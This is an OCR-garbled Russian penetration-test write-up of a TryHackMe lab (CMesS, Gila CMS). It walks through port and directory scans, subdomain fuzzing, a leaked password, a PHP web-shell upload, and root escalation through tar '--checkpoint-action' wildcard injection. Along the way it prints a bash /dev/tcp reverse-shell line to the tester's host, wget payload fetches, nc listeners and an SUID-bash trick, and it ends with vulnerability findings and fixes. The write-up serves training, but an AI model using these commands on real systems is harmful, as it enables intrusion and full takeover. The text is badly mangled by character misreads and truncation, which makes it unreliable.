OTtyer

¢/ WcnonHuutensb

TecTnpoBaHue BbinosiHeHo KpaBuoBbiM Hukornaem n ApceHnem, HaunHaoLwymMm
cneumanictTaMmm no MHopmMaumoHHon 6esonacHocTn B 21:14 (komHama rnoromaHHasi...
griepable 3arnucarscs ¢ MUKpogoHoOM)

ObnacTtb TeCTUpOBaHUA N UCNOSIb30BaHHbIE CIYXObl.

IP/aomeH Mopt CepBuc CepBuc ueneBoro
cepBepa
localhost 5901 WinKexServer -
localhost - Nmap Port Scanner -
localhost - GoBuster Directory Scanner -
localhost - Obsidian Notes -
localhost 8000 Python HTTP Simple Server -
localhost - john the ripper hash cracker -
localhost 80 Python HTTP Simple Server -
localhost 1234 NetCat listener for Reverse Shell -
(user)
localhost 1337 NetCat listener for Reverse Shell (root) -
10.10.215.34 80 nginx Web Server +

Ucnonb3oBaHHbIe hanunbi:

linpeas.sh - Privilege Escalation Awesome Scripts SUITE new generation.
hash.txt - dpann ana pacuwumcpoBku xawa.

root.sh - hann Ana NoBbILEHUS NPUBESIENI.

user.txt - conar.

root.txt - dorar.

NMopsaok nencremn


https://github.com/peass-ng/PEASS-ng
https://gist.github.com/joswr1ght/22f40787de19d80d110b37fb79ac3985

1) 3anyck openvpn ans goctyna; kex ans toro, 4Tobbl caenatb linux
yaoOHee

kex ——win && sudo openvpn lab_Kolya@80808.ovpn

2) CkaHMpoBaHMe NOPTOB C NOMOL LI hmap.

PesynbTaTbl:

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.2p2 Ubuntu dubuntu2.8 (Ubuntu Linux; protocol
2.0)

| ssh-hostkey:

| 2048 d9:b6:52:d3:93:9a:38:50:bu4:23:3b:fd:21:0c:05:1f (RSA)

| 256 21:c3:6e:31:8b:85:22:8a:6d:72:86:8f:ae:6U4:66:2b (ECDSA)

|_ 256 5b:b9:75:78:05:d7:ec:43:30:96:17:ff:c6:a8:6¢c:ed (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))

| _http-generator: Gila CMS

| _http-server-header: Apache/2.4.18 (Ubuntu)

| _http-title: Site doesn't have a title (text/html; charset=UTF-8).
| http-robots.txt: 3 disallowed entries

| _/src/ /themes/ /lib/

Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_Kkernel

3) 3anyck dirsearch ansa noucka AUPEKTOPUN.

PesynbtaThl:

|_—(kolya080808®Nikolapc)—[~]
$ dirsearch -e extensions.txt -w directory-list-2.3-medium.txt -u
http://cmess.thm
/usr/1lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning:
pkg_resources is deprecated as an API. See
https://setuptools.pypa.io/en/latest/pkg_resources.html

from pkg_resources DistributionNotFound, VersionConflict

o - - o _ _l_ vO.4.3
I 2 a2l

Extensions: extensions.txt | HTTP method: GET | Threads: 25 | Wordlist size:
220545

Output File: /home/kolya080808/reports/http_cmess.thm/_24-11-27_19-14-34.txt



Target:

[19:
[19:
[19:
[19:
[19:
[19:
[19:
[19:
[19:
[19:
[19:
[19:
[19:
[19:
[19:
[19:
[19:
[19:
[19:
[19:
[19:
[19:
[19:
[19:
[19:
[19:
[19:
[19:
[19:
[19:
[19:
[19:
[19:
[19:
[19:
[19:
[19:
[19:

14:
14:
:35]
14:
14:
:36]
14:
14:
14:
14:
14:
14:
14:
14:
14:
14:
:39]
14:
14:
14:
14:
14:
14:
14:
14:
14:
14:
:47]
14:
14:
:53]
14:
14:
15:
15:
15:
15:
15:

14

14

14

14

14

CTRL+C

http://cmess.thm/

3u]
35]

35]
36]

36]
36]
36]
36]
36]
38]
38]
39]
39]
39]

39]
40]
4ol
40]
u0]
4ol
40]
4ol
42]
46]

52]
53]

55]
59]
01]
03]
ou]
11]
13]

Starting:

200 - 1KB
200 - 1KB
200 - 1KB
200 - 2KB
200 - 2KB
200 - 693B
200 - 1KB
200 - 1KB
301 - 318B
200 - 389B
200 - 693B
301 - 318B
200 - 1KB
200 - 1KB
200 - 1KB
200 - 1KB
301 - 316B
200 - 1KB
301 - 312B
200 - 1KB
200 - 1KB
200 - 2KB
301 - 312B
301 - 312B
200 - 0B
200 - 2KB
500 - 0B
200 - 2KB
200 - 6B
301 - 312B
200 - 2KB
200 - 2KB
200 - 2KB
200 - 1KB
200 - 2KB
200 - 2KB
200 - 2KB

/about

/index

/blog

/01

/1

/login

/category

/0

/themes -> http://cmess.thm/themes/?url=themes
/feed

/admin

/assets —> http://cmess.thm/assets/?url=assets
/search

/tag

/author

/Search

/sites -> http://cmess.thm/sites/?url=sites
/About

/log -> http://cmess.thm/log/?url=1log
/Index

/tags

/1x1

/lib -> http://cmess.thm/1ib/?url=1ib
/src -> http://cmess.thm/src/?url=src
/api

/001

/cm

/1pix

/fm

/tmp —-> http://cmess.thm/tmp/?url=tmp
/la

/0001

/1x1ltransparent

/INDEX

/1px

/1d

/1.1

detected: Pausing threads, please wait...
Task Completed

4) NMocmoTpeB Ha cauT, A 3awen B TYNUK Ha cTpaHuue /admin



PesynbTart:

O @& cmess.thm/admin

Log In

E-mail

Password

Login

[ Show password

Forgot password?

5) Uto Tam BBOAUTL - HUrAe He HanucaHo. S NpeaNonNoXun, 4YTo
HY)>XHO UCKaTb cabaoMeHblI:

Pesynbrar:

ubdomains-toplmillion-5000.txt -u http://cmess.thm -H "Host: FUZZ.cmess.thm" --hw 290

6) Job6aBnsem ero Kk /etc/hosts/ n cmoTpum Ha cabpaomeH:

PesynbTtar:

GNU nano 8.2

localhost

Nikolapc. Nikolapc
.98.13@ wus-central-@66.whiskergalaxy.com
15.34 cmess.thm deu.£ﬂ955.thﬂl




Development Log

andre@cmess.thm

Have you guys fixed the bug that was found on live?

support@cmess.thm

Hey Andre, We have managed to fix the misconfigured .htaccess file, we're hoping to patch it in the upcoming patch!
support@cmess.thm

Update! We have had to delay the patch due to unforeseen circumstances

andre@cmess.thm

That's ok, can you guys reset my password if you get a moment, I seem to be unable to get onto the admin panel.
support@cmess.thm

Your password has been reset. Here:

7) 3axoaumMm B agMUHKY U OCMaTpuBaeMcs:

PesynbTart:
O & cmess.thm/admin/fm
= @
i}
p Dashboard B nhtaccess
. .
5 Content 'Dockemle
B LicENSE
#& Administration B app.yaml
0 assets

B composer.json

b config.default.php
b config.php

b index.php

Blib

Ulog

& robots. txt

O sites

Osre

O themes

B tmp

Y

Page created in 0.002595 seconds.
Gila CMS version 1.10.9



Ypa! Cmoxem 3arpyantb peBepc LLemnn)

8) 3arpyxaem php web shell n nonyyaem reverse shell:

listening on [any] ‘e
connect to [18.9.3.53 rom (UNKNOWN) [10.10.215.34] 46606

1s
asdsadsadsa.php
gila-logo.png
php.php

9) Yutaem KoHdwumr:



PesynbTart:

ww-datagcmess: /var/wmw /html$ cd sites

cd sites

www-data@dcmess: /var/wmw /html/sites$ 1s

s

README . md

www-data@cmess: /var/wm/html/sites$ cd ../ .. /dev

cd ../ ../dev

wmw-datapcmess: /var/ww/devi 1s

1s

index.html

wai-datagcmess: /var/www /devd cd

cd ..[f

wmi-data@cmess: /var/ww$ cd html

cd html

ww-datagcmess: /var/wmw/html§ 1s

1s

Dockerfile assets config.php log sites tmp
LICENSE composer.json index.php php.php srcC
app.yaml config.default.php 1lib robots.txt themes
wmi-datagicmess: /var/www /html$ cat config.php

cat config.php

<?php

$GLOBALS[ "config'] = array (
'db" =
array (
'host' = 'localhost’,
‘user' = 'root’,
"pass’ 'r@otus3rpass
'name’ = 'gila“,
)
'permissions’ =
array |{
1 =
array (
@ = 'admin',
1 = '"admin_user’,
2 = 'admin_userrole’,

'packages' =
array (
@ = 'blog',
)f
'base' = 'http://cmess.thm/gila/",
"theme' = 'gila-blog’,
"title' = ‘Gila CMS',
'slogan’ = 'An awesome website!’,
‘default-controller’ = ‘'blog’,
'timezone' = ‘America/Mexico_City',
'ssl' = "',
'env' = 'pro’,
'check4updates' = 1,
‘language’ = ‘en”,
"admin_email®' = 'andregicmess.thm',
'rewrite’ = true,
}; wwi-datademess: /var/www/html$ J]

10) 3axoaum B 6a3sy AaHHbIX 1 CMOTPUM Naponb:




atement.

11) C nomowbro John The Ripper BanambiBaem naponb andre:

PesyrnbTart:

—% john ha
Using de
Loaded 1
Cost 1 (1

to abor

(ETA: 03

(ETA: @

(ETA: @
ssion aborted

12) Qlymato, Hago elle Koe rae nouckaTtb. U a Hawen:

PesynbTart:

wa —dat : ] /|  55et5$ cd Sopt
cd Sfopt
-dat

root root 4896 Feb

root root 4896 Feb
root root 36 Feb
ss:/opt$
.password. bak
andres backup password
QfsdCB7aAPe

B RJ BkJ

.password. bak




13) MeHsiem nonb3oBaTens, umtaem User.txt u cmoTpum Ha
WHTEpPEeCHYI0 ANPEKTOPUIO:

PesynbTart:

www-datagcmess: /home$ 1s -la

} root root 4096
root root 4896

4 andre andre 4896

www-datagcmess: /home$ su andre

su andre

Password: UQfsdCB7aAP6

andregcmess: /home$ cd ~
cd ~
andregicmess:~% 1s

14) NMpocMoOTPUM 4YTO B HEUN €CTb:

PesynbTaT:
andrefcmess:~% 1s

user.txt
:~% cd backup

1s
note
andregcmess: ~/backup$

andrefcmess: ~/backup$ 1

andre andre 4896 Feb
andre andre 4896 Feb
andre andre

ackup$

:~/ba
t~/backup$ cat note

cat note

Note to self.

Anything in here will be backed up!
andreg@cmess:~/backup$ |




15) A aymaro, 4TO Kaxkable HECKONbKO MUHYT co3paeTca 6ekan 3Toun
nanku. Torga, nonpo6byemM 4To-TO cAenathb:

PesynbTart:

andregcmess:~% 1s

wget-log

i Nov 27
4096 Feb 9
@ MNov 27
] 51 Feb @ note
andre andre Mov 27 7 root.
andre andre 71651 MNov 27 @ wget-log
ickup$ touch "/home/andre/backup/-—-checkpoint=1"
touch "/home '‘backup/--checkpoint=1"
andre@cmess:~/backup$ 1s
1s
——checkpoint=1 linpeas.sh n root.sh wget-log
and ickup$ touch "/home/andre/backup/--checkpoint-action=sh root.sh”
touch "/home/andre/backup/--checkpoint-action=sh root.sh"”
andregcmess:~/backup$ 1s
1ls
—checkpoint=1 linpeas.sh root.sh
point-action=sh root.sh note wget-log

16) MNony4yaem BTOpOMU revshell:



PesynbTart:

LOOPBACK,, UP, LOWER_U 5 i te r efault 1000
1link/loopback 00:00:00:00:08:0 00:0 :
ope host Lo
r preferred_Lft forever

rever prefe
ST, MULTICAST, up t i e UP group default glen 1000
5 83:d6:db

cope
fo

<POINTOPOINT,,MULTICAST ,NOARP, UP , LOWER_UP> f UNKNOWN ult glen 500
link/none
t

rockyou. txt
.Identifi

nano




[*]
~ o~

. font-uni

~N N~ NN

MR R

~ ~

shell.sh

ting to 10
request sent, awaiting response

e

root root
root root
root r

=«

. font-uni

~ o~

root root
backup$

MR RN R R R R

~ ~ o~

backup$

root root
root root
root root
root root
root root
root root
root root
root root
root root
root root
backup$

o«

font-uni

MR RN R R R R
~ o~~~

~ ~~




listening on [

1s

1s -la

connect to [18.9.3.53] from (UNKNOWN) [10.10.215.34] 52798
bash: cannot set terminal process group (25985): Inappropriate ioctl for device
bash: no job control in this shell

root@cmess: /home,/andre/backup# ls

—checkpoint=1

—checkpoint-action=exec=bash shell.sh

note

shell.sh

root@cme :/home/andre/backup# 1s -la

? andre andre 4896 Nowv
andre andre 4896 MNowv 2
andre andre 1 Nov 2] g -—checkpoint=1
andre andre 1 Nov : B9 --checkpoint-action=exec=bash shell.
andre andre 21 Feb
andre andre 23 Nov 2
root@cmess: /home/andre/backup# ls
1s
—checkpoint=1
—checkpoint-action=exec=bash shell.sh
note
shell.sh
root@cmess: /home/andre/backup# whoami
whoami
root
root@cmess: /home/andre/backup# cd ~
cd ~
rootgcmess:~# 1s
1s

root.txt

17) YnTtaem root.txt

PesynbTart:

¢/ NpnmeyaHue

OTa KoOMHaTa A0BOJILHO NOSIOMaHHas, Tak YToO eCrim NPOXoauTe - BaM CKOpee BCEro
NpuOEeTCHa NOCTOSIHHO nepe3arpyxaTb reverse shell, ewe 4To-T0

Ho Bce paBHO, KOMHaTa MOXHO CKa3aTb MOX0Xa Ha pearbHOCTb, Ha TeX MIMOXMX CUC aaMUHOB
13-32 KOTOPbIX KOMHATY U MOXHO B3rioMaTb. Cnacubo TryHackMe 3a kpyTyto MmawwmHy!

HampeHHble yA3BUMOCTHU

Information Disclosure



PoC:

Development Log

andre @cmess.thm

Have you guys fixed the bug that was found on live?

support@cmess.thm

Hey Andre, We have managed to fix the misconfigured .htaccess file, we're hoping to patch it in the upcoming patch!
support@cmess.thm

Update! We have had to delay the patch due to unforeseen circumstances

andre @cmess.thm

That's ok, can you guys reset my password if you get a moment, I seem to be unable to get onto the admin panel.
support@cmess.thm

Your password has been reset. Here:

(NyHKT 6)
CVSSv3 Score: 8.9 (Critical)

OnucaHue:

Information Disclosure B gaHHOM criyqae cBsizaHa C LOCTYNOM BCEX Mosib30BaTtenemn k cabaomeHy
dev.cmess.thm, roge HaxoOaTCcA AeBENONMEHT JIorn. Tam e U Haxo4UTCS HOBbIW Naporib
nonb3oBaTtens andre.

BocnpousBegeHue ysa3BUMOCTMU:

omains-toplmillion-500@.txt -u http://cmess.thm -H "Host: FUZZ.cmess.thm" --hw 290
ek
*

00000e019: 200 30 104 W

(nyHKT 5)



lcéalhoat

Nikolapc. Nikolapc
us-central-@66.whiskergalaxy.com

cmess.thm dev.cmess.thmfj

PekomMeHAauMu No yCTpaHEHUIo:

OrpaHnybTe JOCTYN Nonb3oBaTenen k cabgomeHy dev.”.
XpaHute fiorv 1 naposim B 4pyrom mMecte, He4OCTYNMHOM A5 OCTarbHbIX pa3paboTymKkoB.

He nobasnaiTe Ha canT napomm norb3oBaTenemn.

Insecure Temporary File Handling

PoC:

nc -lvnp 1337
listening on [any] 1337

1s

minal process group (2 )i Inappropriate ioctl for device
in this shell

:/home/andre/backupf 1s

andre andre 4@96 MNowv 2
+ andre andre 4096 Nowv ! 23
andre andre 1 Nov 27 @9: —checkpoint=1
andre andre 1 Nowv 27 @ —checkpoint-action=exec=bash shell.
andre andre 21 Feb 9 2 J note
andre andre 53 Nov 27 @9: shell.sh
rootacmess: /home/andre/backup# 1s
1s
--checkpoint=1
—checkpoint-action=exec=bash shell.
note
shell.sh
roota@cmess: /home/andre/backup# whoami
whoami
root
root@cmess: /home/andre/backupf cd ~
cd ~
rootacmess:~# ls
1s

root.txt

(NyHKT 16)



CVSSv3 Score: 10.0 (Critical)

OnucaHue:

B xoae npoBeaeHHOro aHammsa cuctemMbl 6bisio BbIABIIEHO, YTO KaXable BE MUHYTLI B
anpekTopum tmp coxpansietcs ann popmaTta .tar.gz, cogep)kaupm Cogepxumoe goMallHemn
nanky nonb3oBaTend. STO NPUBESIO K yTevKe YyBCTBUTENMbHbIX JaHHbLIX 1 MOBbILLEHUIO NPUBUIErin
(Privilege Escalation) Ha cucteme.

BocnpounsBegeHue ya3BMMOCTMU:

andreficmess:~$ 1s
s

andregcme % cd backup
cd backup
andregcmess:~/backup$ 1s

root.sh wget-log

andre andre
} andre andre
andre andre ;
andre andre : ? note
andre andre .
-Ir'W-Irw-r-- andre andre 71651
andrefcmess: ~/backup$ touch " :
touch "/home/andre/backup/--checkpoint=1"
andreficmess:~/backup$ 1s
1ls
-—checkpoint=1 linpeas.sh note
] oint-action=sh root.sh"
touch " /
andregcmess: ~/backup$ 1s
1ls
—checkpoint=1 . root.sh
-—checkpoint-action=sh root.sh note wget-log
andrefcmess:~/backup$ cd /tmp




ipas

<LOOPBACK,UP, LOWER_UP> mtu 65536 gdisc nogueue state UNKNOWN group default glen 1000
link/loopback 00:00:00:00:00:00 brd ©0:00:00:00:00:00
/8 scope host lo

valid_lft forever preferred_lft forever
inet6 /128 scope host

valid_lft forever preferred_lft forever

<BROADCAST ,MULTICAST,UP,LOWER_UP> mtu 128@ qdisc mg state UP group default glen leoe

link/ether 00:15:5d:83:d6:db brd ff:ff:ff:ff:ff:ff

inet

inet

/20

brd scope global etho

valid_lft forever preferred_Lft forever

inet6

/64 scope link

valid_lft forever preferred_lft forever
<POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 gdisc fq_codel state UNKNOWN group default glen 500

link/none
inet

inet6

/16 scope global tund
valid_lft forever preferred_Lft forever

/64 scope link stable-privacy

valid_lft forever preferred_lft forever

echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > root.

1s

directory-list-2.3-small.txt extensions.txt get-pip.py

directory-list-2.3-big. txt fasttrack. txt Kolya@80808.ovpn

directory-list-2.3-medium. txt fasttrack.txt:Zone.Identifier lab_Kolya080808.ovpn php-reverse-shell.

nano revshel

% nano revshel

mv revshell.sh shell.

—% cat shell.sh
#!/bin/bash

bash -i >& /dev/tcp/10.9.

-T'W-T-——T1—
drwxrwxrwt
drwxrwxrwt
drwx
drwxrwxrwt
drwxrwxrwt
drwxrwxrwt
drwxrwxrwt
andregcmess :
rm shell.sh
andregcmess:

shell.sh

l.sh

l.sh

root
root
root
root
root
root
root
root
root
root

PR R R LRI R S R WD

3.53/1337 0>61

root Now
root Feb
root Now
root Now
root Now
root Now
root Now
root Now
root Now
root Now

~/backup$ rm shell.sh

~/backup$ wget http://10.9.3.53/shell.sh
wget http://1@.9.3.53/shell.sh

—2@24-11-27 10:01:44— http://10.9.3.53/shell.sh
Connecting to 10.9.3.53:80@... connected.

HTTP request sent, awaiting response... 200 OK
Length: 53 [text/x-sh]

Saving to: ‘shell.sh’

108%[ ——-oree————— ] 53 -—.-KB/s in @s

2024-11-27 10:01:44 (15.8 MB/s) - ‘shell.sh’ saved [53/53]

andregcmess : ~/backup$ ls /rmp

Ls /rmp

1s: cannot access "/rmp': No such file or directory
andregcmess:~/backup$ 1s -la /tmp

1s -la /tmp
total 36
drwxrwxrwt
drwxr-xr-x
-I'W-I-—T—
drwxrwxrwt
drwxrwxrwt
drwx
drwxrwxrwt
drwxrwxrwt
drwxrwxrwt
drwxrwxrwt
andregcmess :

andregcmess;
1s -la /tmp
total 36
drwxrwxrwt
drwxr-xr-x
-I'W-T-——T-—
drwxrwxrwt
drwxrwxrwt
drwx
drwxrwxrwt
drwxrwxrwt
drwxrwxrwt
drwxrwxrwt
andregcmess;

root
root
root
root
root
root
root
root
root
root

PR R R WM R R WD

root

root

root H

root i . ICE-uni
root 8

root

root

root

root

~/backup$

~/backup$ “[[A

root
root
root
root
root
root
root
root
root
root

ORI R R LR R R WD

root
root
root
root : . font-unix]
root
root
root
root
root
root

~/backup$ I

rockyou. txt

thm-troubleshoot




—$ nc -lvnp 1337
listening on [any]

1s

: 3] from (UNKNOWN) [10.1@.215.34] 52798
terminal process group (259@5): Inappropriate ioctl for dewvice
i in this shell
ss:/home/andre/backupf 1s
—checkpoint=1
—checkpoint-action=exec=bash shell.

ess: /home/andre/backupff 1s
andre andre 4096 Nov

+ andre andre 4896 MNow
-TW-Trw-r— andre andre Now 2 5 —checkpoint=1

-TW-TW-T-— andre andre 1 MNov 27 @ —-checkpoint-action=exec=bash shell.
-TWXIr-X—— andre andre Feb . B note
-I'W-I'w-I-—- andre andre 3 Nov 27 @9: shell.sh

rootgcmess:
1s
—checkpoint=1
--checkpoint-action=exec=bash shell.s
note

shell.sh

rootacmess: /home/andre/backup# whoami
whoami

root

rootacmess: /home/andre/backup# cd ~
cd ~

rootgcmes

1s

Jhome/andre/backup#f 1s

PekomMeHAauMm No yCTpaHEeHUIo:

Mcnonb3ynte 6esonacHble pacnonoXeHus 63kanos.
LLindopynte dpansbl 40 X cCOXpaHeHus.
HacTpowTe npaBa goctyna K aTmum hannam.

Heobxoamuma r Bam BOOGLLE NOCTOSAHHANA apxmBaums...?

Buaoeo BbINonMHeHUs
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